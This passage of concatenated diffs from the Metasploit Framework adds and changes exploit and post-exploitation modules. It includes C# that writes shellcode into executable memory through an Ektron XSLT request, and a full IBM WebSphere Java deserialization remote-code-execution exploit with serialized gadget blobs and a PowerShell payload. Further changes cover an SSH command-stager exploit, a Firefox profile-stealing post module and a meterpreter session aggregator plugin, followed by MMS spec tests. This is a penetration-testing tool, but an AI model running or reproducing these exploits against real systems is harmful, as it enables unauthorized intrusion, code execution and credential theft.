private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[System.Runtime.InteropServices.DllImport(&quot;kernel32&quot;)]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
public string xml()
{
string shellcode64 = @&quot;#{Rex::Text.encode_base64(payload.encoded)}&quot;;
byte[] shellcode = System.Convert.FromBase64String(shellcode64);
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
System.Runtime.InteropServices.Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
IntPtr hThread = IntPtr.Zero;
IntPtr pinfo = IntPtr.Zero;
UInt32 threadId = 0;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
return &quot;#{fingerprint}&quot;;
}
#{epilogue}
XSLT
print_status("Trying to run the xslt transformation...")
res = send_request_cgi(
{
'uri' => "#{uri_path}WorkArea/ServerControlWS.asmx",
'version' => '1.1',
'method' => 'POST',
'ctype' => "text/xml; charset=UTF-8",
'headers' => {
"Referer" => build_referer
},
'data' => xslt_data
})
if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
print_good("Exploitation was successful")
else
fail_with(Failure::Unknown, "There was an unexpected response to the xslt transformation request")
end
end
end

View File

@ -0,0 +1,119 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize(info={})
super(update_info(info,
'Name' => "IBM WebSphere RCE Java Deserialization Vulnerability",
'Description' => %q{
This module exploits a vulnerability in IBM's WebSphere Application Server. An unsafe deserialization
call of unauthenticated Java objects exists to the Apache Commons Collections (ACC) library, which allows
remote arbitrary code execution. Authentication is not required in order to exploit this vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Liatsis Fotios @liatsisfotios' # Metasploit Module
# Thanks for helping me:
# # # # # # # # # # # #
# Kyprianos Vasilopoulos @kavasilo # Implemented and reviewed - Metasploit module
# Dimitriadis Alexios @AlxDm_ # Assistance and code check
# Kotsiopoulos Panagiotis # Guidance about Size and Buffer implementation
],
'References' =>
[
['CVE', '2015-7450'],
['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'],
['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'],
['URL', 'https://www.tenable.com/plugins/index.php?view=single&id=87171']
],
'Platform' => 'win',
'Targets' =>
[
[ 'IBM WebSphere 7.0.0.0', {} ]
],
'DisclosureDate' => "Nov 6 2015",
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'WfsDelay' => 20
}))
register_options([
OptString.new('TARGETURI', [true, 'The base IBM\'s WebSphere SOAP path', '/']),
Opt::RPORT('8880')
], self.class)
end
def exploit
# Decode - Generate - Set Payload / Send SOAP Request
soap_request(set_payload)
end
def set_payload
# CommonCollections1 Serialized Streams
ccs_start = "rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQ="
ccs_end = "dAAEZXhlY3VxAH4AHgAAAAFxAH4AI3NxAH4AEXNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAEHcIAAAAEAAAAAB4eHZyABJqYXZhLmxhbmcuT3ZlcnJpZGUAAAAAAAAAAAAAAHhwcQB+ADo="
# Generate Payload
payload_exec = invoke_ccs(ccs_start) + gen_payload + invoke_ccs(ccs_end)
payload_exec = Rex::Text.encode_base64(payload_exec)
end
def invoke_ccs(serialized_stream)
# Decode Serialized Streams
serialized_stream = Rex::Text.decode_base64(serialized_stream)
end
def gen_payload
# Staging Native Payload
exec_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
exec_cmd = exec_cmd.gsub("%COMSPEC% /b /c start /b /min ", "")
# Size up RCE - Buffer
cmd_lng = exec_cmd.length
lng2str = "0" + cmd_lng.to_s(16)
buff = [lng2str].pack("H*")
rce_pld = buff + exec_cmd
end
def soap_request(inject_payload)
# SOAP Request
req = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n"
req += "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">" + "\r\n"
req += "<SOAP-ENV:Header xmlns:ns0=\"admin\" ns0:WASRemoteRuntimeVersion=\"7.0.0.0\" ns0:JMXMessageVersion=\"1.0.0\" ns0:SecurityEnabled=\"true\" ns0:JMXVersion=\"1.2.0\">" + "\r\n"
req += "<LoginMethod>BasicAuth</LoginMethod>" + "\r\n"
req += "</SOAP-ENV:Header>" + "\r\n"
req += "<SOAP-ENV:Body>" + "\r\n"
req += "<ns1:getAttribute xmlns:ns1=\"urn:AdminService\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" + "\r\n"
req += "<objectname xsi:type=\"ns1:javax.management.ObjectName\">" + inject_payload + "</objectname>" + "\r\n"
req += "<attribute xsi:type=\"xsd:string\">ringBufferSize</attribute>" + "\r\n"
req += "</ns1:getAttribute>" + "\r\n"
req += "</SOAP-ENV:Body>" + "\r\n"
req += "</SOAP-ENV:Envelope>" + "\r\n"
uri = target_uri.path
res = send_request_raw({
'method' => 'POST',
'version' => '1.1',
'raw_headers' => "Content-Type: text/xml; charset=utf-8" + "\r\n" + "SOAPAction: \"urn:AdminService\"" + "\r\n",
'uri' => normalize_uri(uri),
'data' => req
})
end
end

View File

@ -84,7 +84,8 @@ class MetasploitModule < Msf::Exploit::Remote
[
OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'])
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub",nil])
], self.class)
end
@ -163,6 +164,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
def powershell
ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME']
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
@ -181,6 +183,7 @@ class MetasploitModule < Msf::Exploit::Remote
def native_upload
filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8)
serviceencoder = datastore['SERVICE_STUB_ENCODER'] || ''
# Upload the shellcode to a file
print_status("Uploading payload...")
@ -202,7 +205,7 @@ class MetasploitModule < Msf::Exploit::Remote
fd = smb_open("\\#{filename}", 'rwct')
end
exe = ''
opts = { :servicename => servicename }
opts = { :servicename => servicename, :serviceencoder => serviceencoder}
begin
exe = generate_payload_exe_service(opts)

View File

@ -9,7 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
@ -80,24 +80,8 @@ class MetasploitModule < Msf::Exploit::Remote
end
def upload_payload(connection)
exe = generate_payload_exe
filename = rand_text_alpha(8) + ".exe"
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
opts = {
:linemax => 1700,
:decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64"),
}
cmds = cmdstager.generate(opts)
if (cmds.nil? or cmds.length < 1)
print_error("The command stager could not be generated")
raise ArgumentError
end
cmds.each { |cmd|
connection.exec!("cmd.exe /c "+cmd)
}
def execute_command(cmd, opts = {})
@connection.exec!("cmd.exe /c "+cmd)
end
def setup_ssh_options
@ -167,18 +151,17 @@ class MetasploitModule < Msf::Exploit::Remote
options = setup_ssh_options
connection = nil
@connection = nil
each_user do |username|
next if username.empty?
connection=do_login(username,options)
break if connection
@connection=do_login(username,options)
break if @connection
end
if connection
if @connection
print_status("Uploading payload, this may take several minutes...")
upload_payload(connection)
handler
execute_cmdstager(flavor: :vbs, decoder: default_decoder(:vbs), linemax: 1700)
end
end

View File

@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 53370
CachedSize = 53382
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 53334
CachedSize = 53346
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 53334
CachedSize = 53346
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 53286
CachedSize = 53302
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -1,5 +1,5 @@
##
# This module requires Metasploit: http//metasploit.com/download
# This module requires Metasploit: https://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

View File

@ -146,7 +146,7 @@ class MetasploitModule < Msf::Post
omnija = read_file(@paths['ff'] + org_file)
if omnija.nil? or omnija.empty? or omnija =~ /No such file/i
print_error("Could not download: #{@paths['ff'] + org_file}")
print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading)") if session.type != "meterpreter"
print_error("Tip: Try switching to a meterpreter shell if possible (as it's more reliable/stable when downloading)") if session.type != "meterpreter"
return
end
@ -249,8 +249,8 @@ class MetasploitModule < Msf::Post
if got_root
vprint_status("Detected ROOT privileges. Searching every account on the target system.")
userdirs = cmd_exec("find #{home} -maxdepth 1 -mindepth 1 2>/dev/null").gsub(/\s/, "\n")
userdirs << "/root\n"
userdirs = "/root\n"
userdirs << cmd_exec("find #{home} -maxdepth 1 -mindepth 1 -type d 2>/dev/null")
else
vprint_status("Checking #{id}'s Firefox account")
userdirs = "#{home + id}\n"
@ -260,16 +260,16 @@ class MetasploitModule < Msf::Post
dir.chomp!
next if dir == "." or dir == ".." or dir =~ /No such file/i
@platform == :osx ? (basepath = "#{dir}/Library/Application\\ Support/Firefox/Profiles/") : (basepath = "#{dir}/.mozilla/firefox/")
@platform == :osx ? (basepath = "#{dir}/Library/Application Support/Firefox/Profiles") : (basepath = "#{dir}/.mozilla/firefox")
print_status("Checking for Firefox profile in: #{basepath}")
checkpath = cmd_exec("ls #{basepath}").gsub(/\s/, "\n")
checkpath = cmd_exec("find " + basepath.gsub(/ /, "\\ ") + " -maxdepth 1 -mindepth 1 -type d 2>/dev/null")
checkpath.each_line do |ffpath|
ffpath.chomp!
if ffpath =~ /\.default/
vprint_good("Found profile: #{basepath + ffpath}")
paths << "#{basepath + ffpath}"
if ffpath =~ /\.default$/
vprint_good("Found profile: #{ffpath}")
paths << "#{ffpath}"
end
end
end
@ -332,7 +332,7 @@ class MetasploitModule < Msf::Post
profile = path.scan(/Profiles[\\|\/](.+)\.(.+)$/).flatten[0].to_s
profile = path.scan(/firefox[\\|\/](.+)\.(.+)$/).flatten[0].to_s if profile.empty?
session.type == "meterpreter" ? (files = session.fs.dir.foreach(path)) : (files = cmd_exec("ls #{path} 2>/dev/null").split())
session.type == "meterpreter" ? (files = session.fs.dir.foreach(path)) : (files = cmd_exec("find "+ path.gsub(/ /, "\\ ") + " -maxdepth 1 -mindepth 1 -type f 2>/dev/null").gsub(/.*\//, "").split("\n"))
files.each do |file|
file.chomp!
@ -551,12 +551,18 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
when :unix
# Assuming userdir /home/(x) = user
print_status("Enumerating users")
users = cmd_exec("ls /home 2>/dev/null")
if users.nil? or users.empty?
homedirs = cmd_exec("find /home -maxdepth 1 -mindepth 1 -type d 2>/dev/null").gsub(/.*\//, "")
if homedirs.nil? or homedirs.empty?
print_error("No normal user found")
return false
end
user = users.split[0]
user = nil
# Skip home directories which contain a space, as those are likely not usernames...
homedirs.each_line do |homedir|
user = homedir.chomp
break unless user.index(" ")
end
# Since we can't access the display environment variable we have to assume the default value
args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ")
args << "\""
@ -719,6 +725,10 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
session.sys.config.getuid =~ /SYSTEM/ ? true : false
else # unix, bsd, linux, osx
id_output = cmd_exec("id").chomp
if id_output.blank?
# try an absolute path
id_output = cmd_exec("/usr/bin/id").chomp
end
id_output.include?("uid=0(") ? true : false
end
end

View File

@ -42,7 +42,7 @@ class MetasploitModule < Msf::Post
if datastore['SPAWN']
print_status("Spawning notepad.exe process to migrate to")
target_pid = create_temp_proc
elsif datastore['PID'] != 0
elsif datastore['PID']
target_pid = datastore['PID']
elsif datastore['NAME']
target_pid = session.sys.process[datastore['NAME']]

View File

@ -44,5 +44,5 @@ end
# @see https://github.com/rails/rails/blob/v3.2.17/railties/lib/rails/generators/rails/app/templates/script/rails#L3-L5
require Pathname.new(__FILE__).realpath.expand_path.parent.join('config', 'boot')
require 'metasploit/framework/command/console'
require 'msf/core/payload_generator'
Metasploit::Framework::Command::Console.start

458
plugins/aggregator.rb Normal file
View File

@ -0,0 +1,458 @@
#
# $Id$
#
# This plugin provides management and interaction with an external session aggregator.
#
# $Revision$
#
require "metasploit/aggregator"
module Msf
Aggregator_yaml = "#{Msf::Config.get_config_root}/aggregator.yaml" # location of the aggregator.yml containing saved aggregator creds
class Plugin::Aggregator < Msf::Plugin
class AggregatorCommandDispatcher
include Msf::Ui::Console::CommandDispatcher
@response_queue = []
def name
"Aggregator"
end
def commands
{
'aggregator_connect' => "Connect to a running Aggregator instance ( host[:port] )",
'aggregator_save' => "Save connection details to an Aggregator instance",
'aggregator_disconnect' => "Disconnect from an active Aggregator instance",
'aggregator_addresses' => "List all remote ip addresses available for ingress",
'aggregator_cables' => "List all remote listeners for sessions",
'aggregator_cable_add' => "Setup remote https listener for sessions",
'aggregator_cable_remove' => "Stop remote listener for sessions",
'aggregator_default_forward' => "forward a unlisted/unhandled sessions to a specified listener",
'aggregator_sessions' => "List all remote sessions currently available from the Aggregator instance",
'aggregator_session_forward' => "forward a session to a specified listener",
'aggregator_session_park' => "Park an existing session on the Aggregator instance"
}
end
def aggregator_verify
if !@aggregator
print_error("No active Aggregator instance has been configured, please use 'aggregator_connect'")
return false
end
true
end
def usage(*lines)
print_status("Usage: ")
lines.each do |line|
print_status(" #{line}")
end
end
def usage_save
usage("aggregator_save")
end
def usage_connect
usage("aggregator_connect host[:port]",
" -OR- ",
"aggregator_connect host port")
end
def usage_cable_add
usage('aggregator_cable_add host:port [certificate]',
' -OR- ',
'aggregator_cable_add host port [certificate]')
end
def usage_cable_remove
usage('aggregator_cable_remove host:port',
' -OR- ',
'aggregator_cable_remove host port')
end
def usage_session_forward
usage("aggregator_session_forward remote_id")
end
def usage_default_forward
usage("aggregator_session_forward")
end
def cmd_aggregator_save(*args)
# if we are logged in, save session details to aggregator.yaml
if args.length == 0 || args[0] == "-h"
usage_save
return
end
if args[0]
usage_save
return
end
group = "default"
if (@host && @host.length.positive?) && (@port && @port.length.positive? && @port.to_i > 0)
config = { "#{group}" => { 'server' => @host, 'port' => @port } }
::File.open("#{Aggregator_yaml}", "wb") { |f| f.puts YAML.dump(config) }
print_good("#{Aggregator_yaml} created.")
else
print_error("Missing server/port - reconnect and then try again.")
return
end
end
def cmd_aggregator_connect(*args)
if !args[0]
if ::File.readable?("#{Aggregator_yaml}")
lconfig = YAML.load_file("#{Aggregator_yaml}")
@host = lconfig['default']['server']
@port = lconfig['default']['port']
aggregator_login
return
end
end
if args.length == 0 || args[0].empty? || args[0] == "-h"
usage_connect
return
end
@host = @port = @sslv = nil
case args.length
when 1
@host, @port = args[0].split(':', 2)
@port ||= '2447'
when 2
@host, @port = args
else
usage_connect
return
end
aggregator_login
end
def cmd_aggregator_sessions(*_args)
return unless aggregator_verify
sessions_list = @aggregator.sessions
return if sessions_list.nil?
# get details for each session and print in format of sessions -v
print_status("Sessions found:")
sessions_list.each do |session|
session_id, target = session
details = @aggregator.session_details(session_id)
local_id = nil
framework.sessions.each_pair do |key, value|
next unless value.conn_id == session_id
local_id = key
end
# filter session that do not have details as forwarding options (this may change later)
next unless details && details['ID']
print_status "\t Remote ID: #{details['ID']}"
print_status "\t Type: meterpreter #{guess_target_platform(details['OS'])}"
print_status "\t Info: #{details['USER']} @ #{details['HOSTNAME']}"
print_status "\t Tunnel: #{details['LOCAL_SOCKET']} -> #{details['REMOTE_SOCKET']}"
print_status "\t Via: exploit/multi/handler"
print_status "\t UUID: #{details['UUID']}"
print_status "\t MachineID: #{details['MachineID']}"
print_status "\t CheckIn: #{details['LAST_SEEN'].to_i}s ago" unless details['LAST_SEEN'].nil?
print_status "\tRegistered: Not Yet Implemented"
print_status "\t Forward: #{target}"
print_status "\tSession ID: #{local_id}" unless local_id.nil?
print_status ""
end
end
def cmd_aggregator_addresses(*_args)
return if !aggregator_verify
address_list = @aggregator.available_addresses
return if address_list.nil?
print_status("Remote addresses found:")
address_list.each do |addr|
print_status(" #{addr}")
end
end
def cmd_aggregator_cable_add(*args)
host, port, certificate = nil
case args.length
when 1
host, port = args[0].split(':', 2)
when 2
host, port = args[0].split(':', 2)
if port.nil?
port = args[1]
else
certificate = args[1]
end
when 3
host, port, certificate = args
else
usage_cable_add
return
end
if !aggregator_verify || args.length == 0 || args[0] == '-h' || \
port.nil? || port.to_i <= 0
usage_cable_add
return
end
certificate = File.new(certificate).read if certificate && File.exists?(certificate)
@aggregator.add_cable(Metasploit::Aggregator::Cable::HTTPS, host, port, certificate)
end
def cmd_aggregator_cables(*_args)
return if !aggregator_verify
res = @aggregator.cables
print_status("Remote Cables:")
res.each do |k|
print_status(" #{k}")
end
end
def cmd_aggregator_cable_remove(*args)
case args.length
when 1
host, port = args[0].split(':', 2)
when 2
host, port = args
end
if !aggregator_verify || args.length == 0 || args[0] == '-h' || host.nil?
usage_cable_remove
return
end
@aggregator.remove_cable(host, port)
end
def cmd_aggregator_session_park(*args)
return if !aggregator_verify
case args.length
when 1
session_id = args[0]
s = framework.sessions.get(session_id)
unless s.nil?
if @aggregator.sessions.keys.include? s.conn_id
@aggregator.release_session(s.conn_id)
framework.sessions.deregister(s)
else
# TODO: determine if we can add a transport and route with the
# aggregator. For now, just report action not taken.
print_status("#{session_id} does not originate from the aggregator connection.")
end
else
print_status("#{session_id} is not a valid session.")
end
else
usage('aggregator_session_park session_id')
return
end
end
def cmd_aggregator_default_forward(*_args)
return if !aggregator_verify
@aggregator.register_default(@aggregator.uuid, nil)
end
def cmd_aggregator_session_forward(*args)
return if !aggregator_verify
remote_id = nil
case args.length
when 1
remote_id = args[0]
else
usage_session_forward
return
end
# find session with ID matching request
@aggregator.sessions.each do |session|
session_uri, _target = session
details = @aggregator.session_details(session_uri)
next unless details['ID'] == remote_id
return @aggregator.obtain_session(session_uri, @aggregator.uuid)
end
print_error("#{remote_id} was not found.")
end
def cmd_aggregator_disconnect(*_args)
if @aggregator && @aggregator.available?
# check if this connection is the default forward
@aggregator.register_default(nil, nil) if @aggregator.default == @aggregator.uuid
# now check for any specifically forwarded sessions
local_sessions_by_id = {}
framework.sessions.each_pair do |_id, s|
local_sessions_by_id[s.conn_id] = s
end
sessions = @aggregator.sessions
unless sessions.nil?
sessions.each_pair do |session, console|
next unless local_sessions_by_id.keys.include?(session)
if console == @aggregator.uuid
# park each session locally addressed
cmd_aggregator_session_park(framework.sessions.key(local_sessions_by_id[session]))
else
# simple disconnect session that were from the default forward
framework.sessions.deregister(local_sessions_by_id[session])
end
end
end
end
@aggregator.stop if @aggregator
if @payload_job_ids
@payload_job_ids.each do |id|
framework.jobs.stop_job(id)
end
@payload_job_ids = nil
end
@aggregator = nil
end
def aggregator_login
if !((@host && @host.length.positive?) && (@port && @port.length.positive? && @port.to_i > 0))
usage_connect
return
end
if @host != "localhost" and @host != "127.0.0.1"
print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker")
print_error(" with the ability to man-in-the-middle the Aggregator traffic to capture the Aggregator")
print_error(" traffic, if you are running this on an untrusted network.")
return
end
# Wrap this so a duplicate session does not prevent access
begin
cmd_aggregator_disconnect
rescue ::Interrupt => i
raise i
rescue ::Exception
end
begin
print_status("Connecting to Aggregator instance at #{@host}:#{@port}...")
@aggregator = Metasploit::Aggregator::ServerProxy.new(@host, @port)
end
aggregator_compatibility_check
unless @payload_job_ids
@payload_job_ids = []
@my_io = local_handler
end
@aggregator.register_response_channel(@my_io)
@aggregator
end
def aggregator_compatibility_check
false if @aggregator.nil?
unless @aggregator.available?
print_error("Connection to aggregator @ #{@host}:#{@port} is unavailable.")
cmd_aggregator_disconnect
end
end
def local_handler
# get a random ephemeral port
server = TCPServer.new('127.0.0.1', 0)
port = server.addr[1]
server.close
multi_handler = framework.exploits.create('multi/handler')
multi_handler.datastore['LHOST'] = "127.0.0.1"
# multi_handler.datastore['PAYLOAD'] = "multi/meterpreter/reverse_https"
multi_handler.datastore['PAYLOAD'] = "multi/meterpreter/reverse_http"
multi_handler.datastore['LPORT'] = "#{port}"
# %w(DebugOptions PrependMigrate PrependMigrateProc
# InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert
# StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName
# IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait
# SessionExpirationTimeout SessionCommunicationTimeout).each do |opt|
# multi_handler.datastore[opt] = datastore[opt] if datastore[opt]
# end
multi_handler.datastore['ExitOnSession'] = false
multi_handler.datastore['EXITFUNC'] = 'thread'
multi_handler.exploit_simple(
'LocalInput' => nil,
'LocalOutput' => nil,
'Payload' => multi_handler.datastore['PAYLOAD'],
'RunAsJob' => true
)
@payload_job_ids << multi_handler.job_id
# requester = Metasploit::Aggregator::Http::SslRequester.new(multi_handler.datastore['LHOST'], multi_handler.datastore['LPORT'])
requester = Metasploit::Aggregator::Http::Requester.new(multi_handler.datastore['LHOST'], multi_handler.datastore['LPORT'])
requester
end
# borrowed from Msf::Sessions::Meterpreter for now
def guess_target_platform(os)
case os
when /windows/i
Msf::Module::Platform::Windows.realname.downcase
when /darwin/i
Msf::Module::Platform::OSX.realname.downcase
when /mac os ?x/i
# this happens with java on OSX (for real!)
Msf::Module::Platform::OSX.realname.downcase
when /freebsd/i
Msf::Module::Platform::FreeBSD.realname.downcase
when /openbsd/i, /netbsd/i
Msf::Module::Platform::BSD.realname.downcase
else
Msf::Module::Platform::Linux.realname.downcase
end
end
private :guess_target_platform
private :aggregator_login
private :aggregator_compatibility_check
private :aggregator_verify
private :local_handler
end
#
# Plugin initialization
#
def initialize(framework, opts)
super
add_console_dispatcher(AggregatorCommandDispatcher)
print_status("Aggregator interaction has been enabled")
end
def cleanup
remove_console_dispatcher('Aggregator')
end
def name
"aggregator"
end
def desc
"Interacts with the external Session Aggregator"
end
end
end

View File

@ -1,4 +1,3 @@
#!/usr/bin/env ruby
#
# $Id$
#

View File

@ -1,4 +1,3 @@
#!/usr/bin/env ruby
#
# This plugin provides an msf daemon interface that spawns a listener on a
# defined port (default 55552) and gives each connecting client its own

View File

@ -1,4 +1,3 @@
#!/usr/bin/env ruby
#
# $Id$
#

View File

@ -1,4 +1,3 @@
#!/usr/bin/env ruby
#
# This plugin provides integration with OpenVAS. Written by kost and
# averagesecurityguy.

View File

@ -0,0 +1,62 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'rex/proto/mms/model'
RSpec.describe Rex::Proto::Mms::Client do
let(:phone_numbers) { ['1112223333'] }
let(:message) { 'message' }
let(:attachment) { 'file.jpg' }
let(:file_content) { 'content' }
let(:subject) { 'subject' }
let(:ctype) { 'ctype' }
let(:carrier) { :verizon }
let(:smtp_server) {
Rex::Proto::Mms::Model::Smtp.new(
address: 'example.com',
port: 25,
username: 'username',
password: 'password'
)
}
subject do
Rex::Proto::Mms::Client.new(
carrier: carrier,
smtp_server: smtp_server
)
end
describe '#initialize' do
it 'sets carrier' do
expect(subject.carrier).to eq(carrier)
end
it 'sets smtp server' do
expect(subject.smtp_server).to eq(smtp_server)
end
end
describe '#send_mms_to_phones' do
before(:each) do
smtp = Net::SMTP.new(smtp_server.address, smtp_server.port)
allow(smtp).to receive(:start).and_yield
allow(smtp).to receive(:send_message) { |args| @sent_message = args }
allow(Net::SMTP).to receive(:new).and_return(smtp)
allow(File).to receive(:read).and_return(file_content)
end
it 'sends an mms message' do
subject.send_mms_to_phones(phone_numbers, subject, message, attachment, ctype)
expect(@sent_message).to include('MIME-Version: 1.0')
end
end
end

View File

@ -0,0 +1,62 @@
require 'spec_helper'
require 'rex/proto/mms/model'
RSpec.describe Rex::Proto::Mms::Model::Message do
let(:message) { 'message' }
let(:content_type) { 'ctype' }
let(:attachment) { 'filepath.jpg' }
let(:filecontent) { 'file content' }
let(:from) { 'sender@example.com' }
let(:to) { 'receiver@example.com' }
let(:mms_subject) { 'subject' }
before(:each) do
allow(File).to receive(:read).and_return(filecontent)
end
subject do
described_class.new(
from: from,
to: to,
subject: mms_subject,
message: message,
content_type: content_type,
attachment_path: attachment
)
end
describe '#initialize' do
it 'sets message' do
expect(subject.message).to eq(message)
end
it 'sets content type' do
expect(subject.content_type).to eq(content_type)
end
it 'sets attachment path' do
expect(subject.attachment).to eq('ZmlsZSBjb250ZW50')
end
it 'sets from' do
expect(subject.from).to eq(from)
end
it 'sets to' do
expect(subject.to).to eq(to)
end
it 'sets subject' do
expect(subject.subject).to eq(mms_subject)
end
end
describe '#to_s' do
it 'returns the mms message' do
expect(subject.to_s).to include('MIME-Version: 1.0')
end
end
end

View File

@ -0,0 +1,57 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'rex/proto/mms/model'
RSpec.describe Rex::Proto::Mms::Model::Smtp do
let(:address) { 'example.com' }
let(:port) { 25 }
let(:username) { 'username' }
let(:password) { 'password' }
let(:login_type) { :login }
let(:from) { 'from' }
let(:helo_domain) { 'example.com'}
subject do
